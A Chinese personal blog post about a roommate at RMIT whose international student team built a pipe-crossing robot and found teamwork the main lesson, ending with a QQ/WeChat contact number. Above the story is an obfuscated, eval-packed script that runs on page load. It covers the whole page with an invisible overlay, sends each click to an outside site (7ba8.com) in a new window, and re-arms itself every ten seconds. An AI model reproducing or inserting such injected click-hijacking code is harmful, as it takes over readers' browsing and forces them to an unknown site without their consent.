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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>与我们一起住在希腊老太太家里的还有一位在皇家墨尔本理工大学读书，机械工程专业，来自杭州的小沈。这学期他有一门机电一体化的课程，在开学之初老师就给他们布置了一个作业，制作一个可以完成单一任务的机器人。任务很“简单”，就是在两个桌子中间悬挂一个钢管，机器人能够借助钢管从这头移动到那头就OK啦！这学期参加这门课程的学生一共150人，每5人一个小组，共30个小团队。小沈的团队非常“国际化”：一个澳洲人，一个苏格兰人，一个西班牙人，一个韩国人，还有他，中国人。这个作业占到这门课考评的20%！ 三个月前小沈还是一头雾水，今天是他们这次作业的最后展示环节。小沈回来的时候阳光满面，一看就知道，他们通过了。小沈说，30个小组中只有5个小组的机器人成功地完成了任务。这5组中最快的只用了20秒，小沈这组用了2分钟。无论快慢，只要过去了就是满分！剩下的小组都没有成功，但也或多或少得到了一些分数，有的小组机器人走了几步就不走了，有的没有感应到桌子边缘摔了下去，有的卡不住钢管。有的机器人设计得很漂亮，甚至设计成了装甲坦克，但一切都以结果说话，走到哪一步得多少分，与机器人外表无关。 我问小沈最大的收获是什么，我以为他会告诉我一大堆专业术语，没想到他说的却是团队合作。最初当他们都没有思路的时候，是澳洲的那位同学给出了整体架构，当他们在市面上买不到零件的时候，小沈跳出来专门负责设计进行3D零部件打印，还有专门负责编程的，有专门负责组装的，团队合作让他们从最初的各自为战到后期的精诚合作，中途有很多次“山穷水复”，但相互激励、头脑风暴让他们不断克服眼前的困难，为了解决问题而去看书学习，从而让他们的机器人不断的完善，自己也得到了突破，最终的胜利让每个人都很开心，而团队合作的整个过程更加令人难忘。 我的QQ号和微信号：1047375085 |
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